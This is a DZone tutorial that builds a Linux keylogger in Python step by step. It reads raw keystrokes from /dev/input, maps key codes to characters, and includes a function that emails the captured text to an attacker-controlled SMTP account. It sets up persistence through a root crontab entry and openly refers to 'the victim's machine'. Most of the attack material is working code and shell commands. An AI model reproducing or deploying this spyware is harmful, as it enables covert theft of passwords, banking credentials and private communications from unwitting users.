DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Please enter at least three characters to search
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Zones

Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

Because the DevOps movement has redefined engineering responsibilities, SREs now have to become stewards of observability strategy.

Apache Cassandra combines the benefits of major NoSQL databases to support data management needs not covered by traditional RDBMS vendors.

The software you build is only as secure as the code that powers it. Learn how malicious code creeps into your software supply chain.

Generative AI has transformed nearly every industry. How can you leverage GenAI to improve your productivity and efficiency?

Related

  • How to Simplify Complex Conditions With Python's Match Statement
  • BigQuery DataFrames in Python
  • Allow Users to Track Fitness Status in Your App
  • What Is Pydantic?

Trending

  • AI Agents: A New Era for Integration Professionals
  • How to Introduce a New API Quickly Using Micronaut
  • Useful System Table Queries in Relational Databases
  • Introducing Graph Concepts in Java With Eclipse JNoSQL, Part 2: Understanding Neo4j
  1. DZone
  2. Data Engineering
  3. Data
  4. How to Create a Keylogger for Linux Using Python

How to Create a Keylogger for Linux Using Python

Learn how to create a Keylogger for Linux using Python!

By 
Nicolas Chabrilliat user avatar
Nicolas Chabrilliat
·
Oct. 28, 19 · Tutorial
Likes (3)
Comment
Save
Tweet
Share
28.2K Views

Join the DZone community and get the full member experience.

Join For Free

Keylogger for Linux

Learn more about how to create a Keylogger for Linux.

Recent studies estimate that between 100 to 150 million computers worldwide could be directly infected by at least one form of malware such as Trojan or Keylogger in order to be remotely monitored or controlled by hackers. By using this kind of software, a hacker will be able to recover your personal information, including the usernames and passwords you use to connect to your favorite social network accounts, mail services, bank account credentials, and much much more.

Personally, I'm sure you've always wondered how these hackers managed to discover valuable data so easily, their secrets, and their techniques. But most importantly, I'm sure you've wondered how to prevent personal data from being stolen? In this article, we will focus on the Keylogger and how to create such a program in Python.
 

So, without further ado, let's get started!

What Is a Keylogger? 

First of all, keyloggers are computer programs designed to work on the target computer's software. Both families and businesses can use keyloggers legally to monitor network usage without their users' direct knowledge or to monitor children's activities on the Internet. Even Microsoft publicly admitted that the Windows 10 operating system has a built-in keylogger in its final version.

However, malicious individuals can inject keyloggers on your device in order to get a remote copy of your keystrokes and use it later from criminal purposes.

Create a Keylogger for a Linux Machine

In this tutorial, we will create a keylogger on the Linux operating system. Each operating system has a different way to manage keyboard input, and for that reason, it's almost impossible to find a portable Keylogger that could be cross-system. But another article on Keyloggers for Windows and macOS is soon to follow!

Coding a Keylogger by putting your hands into /dev/event* and understanding how events are managed in the Linux operating system.

On Linux, everything is file! And the events do not escape the rule. But in which file should we look? We will first go to /dev/; that's where we can find the files of all devices. More precisely, we will go to /dev/input/ because this folder contains all the input devices, which, in most cases, means the keyboard and mouse. Using the command ls -la, you can get a clear idea of the content found in this folder in your machine.

ls -la /dev/input/


As you can see, we are going to face our first problem! There are many folders, but which one should we choose? Basically, since we want to record the keystroke, we can logically eliminate everything that is not eventX, but we still have a large number of possibilities!

In order to determinate which eventX is the correct one, we will have a look at /proc/bus/input/devices:

cat /proc/bus/input/devices


This file describes the devices connected to the machine. It seems to be the right place to find out what we are looking for and which event our keyboard is referring to.

Each section on the file is referring to a device connected to the machine. Once you find the keyboard device section, focus on the line "H: Handlers" to catch the eventX id.

How can we be sure that it's the correct keyboard event?

To be sure that you did find the correct eventX, you must refer to the line "B: EV =*". This line describes the type of events sent. Whatever king of the machine we are using, a keyboard will always return "EV = 120013". So, considering this, and as my example, I can be sure that my keyboard is referring to event4.

So now that we have our devices and we know in which file they write their stream, let's move on to the next section on how to implement your Keylogger in Python.

Implement the Keylogger in Python

Step One: Find the keyboard

We will start by automating what we saw earlier in order to find the right event file. The easiest way is to use regular expressions.

with open("/proc/bus/input/devices") as f:
       lines = f.readlines()

       pattern = re.compile("Handlers|EV=")
       handlers = list(filter(pattern.search, lines))

       pattern = re.compile("EV=120013")

       for idx, elt in enumerate(handlers):
           if pattern.search(elt):
               line = handlers[idx - 1]

       pattern = re.compile("event[0-9]")
       infile_path = "/dev/input/" + pattern.search(line).group(0)


Basically, the above piece of code we have for the function to open the file /proc/bus/input/devices, read it line by line and find simultaneously the lines of the Handlers (Where we find the event id) and the lines of the EV (Where we find the type of events).

It will return a list which should look like: [eventX, type, eventX, type, eventX, type, eventX, type, …]  

It only remains to find the type that matches the keyboard (Where we have "EV = 120013") and choose the column before in the list which is the keyboard eventX.

Step Two: Pump Everything Up

Are you curious like me? Let's see what happens if we directly listen to the keyboard event file:

cat /dev/input/event4


As you can see, the output does not look friendly and is not digest, but it was to give you an overview of the content of the eventX.

How to Read the Even*?

What you need to know is that the eventX does not directly receive the characters hit on the keyboard but a data structure each time a key is pressed. The details of these a data structure are:

  • Timestamp: The date of the event.
  • Even Code: The type and code of the event (More information can be found here).
  • Value: A number that corresponds to the position of the key pressed.

Below, the piece of code that will help us to retrieve all the needed information's:

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

in_file = open(infile_path, "rb")

event = in_file.read(EVENT_SIZE)
typed = ""

while event:
    (_, _, type, code, value) = struct.unpack(FORMAT, event)

    if code != 0 and type == 1 and value == 1:

        if code in qwerty_map:
            typed += qwerty_map[code]

    event = in_file.read(EVENT_SIZE)

    if len(typed) == 128:
        with open("out.txt", "a") as f:
            f.write(typed)
            typed = ""


Let's see the purpose of the above piece of code and how we will use it to retrieve the structured data sent to our event file.

We start by defining the format FORMAT pattern, which it's a string that tells Python what to read and how to sort it. llHHI means long int, long int, short int, short int, and int.

After this, we simply unpack the stream and get it into separate variables. The first two long store the date, which we will not use in this tutorial. The two short are the type and code used. The int at the end is the value that interests us.

We then check that the code is different from "0", which means that there was an event with a type equal to "1", which corresponds to a pressed key.

We will need now to convert the value into a character. To do this, we will simply define an array of all the possible values and the respective character. If you want to get a complete list of value, I recommend you to have a look in this GitHub) repository, which gives the following Python dictionary slightly adapted for an azerty keyboard:

qwerty_map = {
    2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9",
    11: "0", 12: "-", 13: "=", 14: "[BACKSPACE]", 15: "[TAB]", 16: "a", 17: "z",
    18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p", 26: "^",
    27: "$", 28: "\n", 29: "[CTRL]", 30: "q", 31: "s", 32: "d", 33: "f", 34: "g",
    35: "h", 36: "j", 37: "k", 38: "l", 39: "m", 40: "ù", 41: "*", 42: "[SHIFT]",
    43: "<", 44: "w", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: ",",
    51: ";", 52: ":", 53: "!", 54: "[SHIFT]", 55: "FN", 56: "ALT", 57: " ", 58: "[CAPSLOCK]",
}


How to Retrieve the Data?

We now know how to capture and store the data, but there is still a problem. The ideal would be not to have to reconnect to the victim's machine to catch the data collected by the Keylogger.

There are lots of techniques in order to achieve this! We can, for example, send the data over FTP, SSH, SCP, send it on Pastebin or on Twitter.

For the purpose of this tutorial, we will see the mails option, since it's something that Python allows you to do.

def sendEmail(message):
    msg = MIMEMultipart()

    password = PASS
    msg['From'] = EMAIL
    msg['To'] = EMAIL
    msg['Subject'] = "Log clavier"

    msg.attach(MIMEText(message, 'plain'))

    server = smtplib.SMTP(SERVER)

    if USE_TLS is True:
        server.starttls()

    server.login(msg['From'], password)
    server.sendmail(msg['From'], msg['To'], msg.as_string())
    server.quit()


What we do is rather explicit:

  1. Create a mail server
  2. Fill in our mail (we consider that we send an email to ourselves)
  3. Connect to our SMTP server
  4. Send the string

Bringing It All Together

#!/usr/bin/env python3
# -*-coding:Latin-1 -*

import sys
import re
import struct
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib

qwerty_map = {
    2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9",
    11: "0", 12: "-", 13: "=", 14: "[BACKSPACE]", 15: "[TAB]", 16: "a", 17: "z",
    18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p", 26: "^",
    27: "$", 28: "\n", 29: "[CTRL]", 30: "q", 31: "s", 32: "d", 33: "f", 34: "g",
    35: "h", 36: "j", 37: "k", 38: "l", 39: "m", 40: "ù", 41: "*", 42: "[SHIFT]",
    43: "<", 44: "w", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: ",",
    51: ";", 52: ":", 53: "!", 54: "[SHIFT]", 55: "FN", 56: "ALT", 57: " ", 58: "[CAPSLOCK]",
}

USE_TLS = None
SERVER = None
MAIL = None
BUF_SIZE = None
PASS = None
KEYBOARD = "qwerty"

def sendEmail(message):
    msg = MIMEMultipart()

    password = PASS
    msg['From'] = EMAIL
    msg['To'] = EMAIL
    msg['Subject'] = "Log clavier"

    msg.attach(MIMEText(message, 'plain'))

    server = smtplib.SMTP(SERVER)

    if USE_TLS is True:
        server.starttls()

    server.login(msg['From'], password)
    server.sendmail(msg['From'], msg['To'], msg.as_string())
    server.quit()


def main():
    with open("/proc/bus/input/devices") as f:
        lines = f.readlines()

        pattern = re.compile("Handlers|EV=")
        handlers = list(filter(pattern.search, lines))

        pattern = re.compile("EV=120013")
        for idx, elt in enumerate(handlers):
            if pattern.search(elt):
                line = handlers[idx - 1]
        pattern = re.compile("event[0-9]")
        infile_path = "/dev/input/" + pattern.search(line).group(0)

    FORMAT = 'llHHI'
    EVENT_SIZE = struct.calcsize(FORMAT)

    in_file = open(infile_path, "rb")

    event = in_file.read(EVENT_SIZE)
    typed = ""

    while event:
        (_, _, type, code, value) = struct.unpack(FORMAT, event)

        if code != 0 and type == 1 and value == 1:
            if code in qwerty_map:
                typed += qwerty_map[code]
        if len(typed) > BUF_SIZE:
            #sendEmail(typed)
            print(typed)

            typed = ""
        event = in_file.read(EVENT_SIZE)

    in_file.close()


def usage():
    print("Usage : ./keylogger [your email] [your password] [smtp server] [tls/notls] [buffer_size]") # noqa


def init_arg():
    if len(sys.argv) < 5:
        usage()
        exit()
    global EMAIL
    global SERVER
    global USE_TLS
    global BUF_SIZE
    global PASS
    EMAIL = sys.argv[1]
    PASS = sys.argv[2]
    SERVER = sys.argv[3]
    if sys.argv[4] is "tls":
        USE_TLS = True
    else:
        USE_TLS = False
    BUF_SIZE = int(sys.argv[5])


if __name__ == "__main__":
    init_arg()
    main()


Open your terminal, create a file called for example "keylogger.py," and copy and save the above script inside. Once you are done, you must make this file executable:

chmod +x keylogger.py


Usage

To start your Keylogger, simply execute the below command using your own email parameters. Also, please note, to avoid any problems, we highly recommend executing this script with root privileges.

# Buffer size is the number of characters saved in memory before sending an email
sudo python keylogger.py [email] [password] [smtp-server] [tls/notls] [buffer-size]


What Would Happen If We Turn Off the Computer? 

In fact, if the user of the computer on which we installed the Keylogger decides to turn off or reboot his machine, this will result in the deactivation of our Keylogger. So, we need a persistence mechanism to enable our Keylogger automatically every time the machine it's stopped or restarted.

Linux offers many possibilities to do this! For the purpose of this tutorial, I chose the crontab option, which perfectly matches our needs and is very easy to use.

The command to edit the cron configuration file is crontab -e. We execute it in root because our script needs root permissions to read the keyboard event*.

sudo crontab -e


Once your crontab editor it's open, simply paste the following configuration at the bottom of your cron configuration file, replacing first the parameters with your own and then saving it before you exit.

The output should look like the following screenshot:

00 */6 * * * ./path/to/keylogger.py [email] [password] [smtp-server] [tls/notls] [buffer-size]


If you want to be sure that the rules of your crontab have been taken into account by your operating system, simply use the following command to get the list of all cron jobs.

sudo crontab -l


In order to understand the syntax of cron, the numbers provide the period for when we start to execute the job (seconds, minutes, hours, days, days of the week, month, etc.) and the command to execute follows, in our case, we run the keylogger every 6 hours.

Conclusion

I hope you enjoyed this article! I will try soon to write other articles concerning the creation of Keyloggers for machines working with Windows or macOS.

If you have any questions about this article, any feedback, suggestion, if you want to share your thoughts with us or either if you would like to join the community and contribute, please feel free to do it using the below comment form.

Credits

For a very long time, I wanted to write an article on how to create a Python Keylogger working on the Linux machine, and I honestly must send all of my thanks to melkael for his excellent work on the subject and the inspiration he gave me for this article. If you are fluent in French, I highly recommended you to read his article "Comment créer un keylogger en moins de 20 minutes (Même quand on débute en Python)."

Further Reading

Top 5 Free Courses to Learn Linux Commands in Depth

Linux (operating system) Python (language) operating system Event Data Types Machine Data (computing)

Published at DZone with permission of Nicolas Chabrilliat. See the original article here.

Opinions expressed by DZone contributors are their own.

Related

  • How to Simplify Complex Conditions With Python's Match Statement
  • BigQuery DataFrames in Python
  • Allow Users to Track Fitness Status in Your App
  • What Is Pydantic?

Partner Resources

×

Comments
Oops! Something Went Wrong

The likes didn't load as expected. Please refresh the page and try again.

ABOUT US

  • About DZone
  • Support and feedback
  • Community research
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 100
  • Nashville, TN 37211
  • support@dzone.com

Let's be friends:

Likes
There are no likes...yet! 👀
Be the first to like this post!
It looks like you're not logged in.
Sign in to see who liked this post!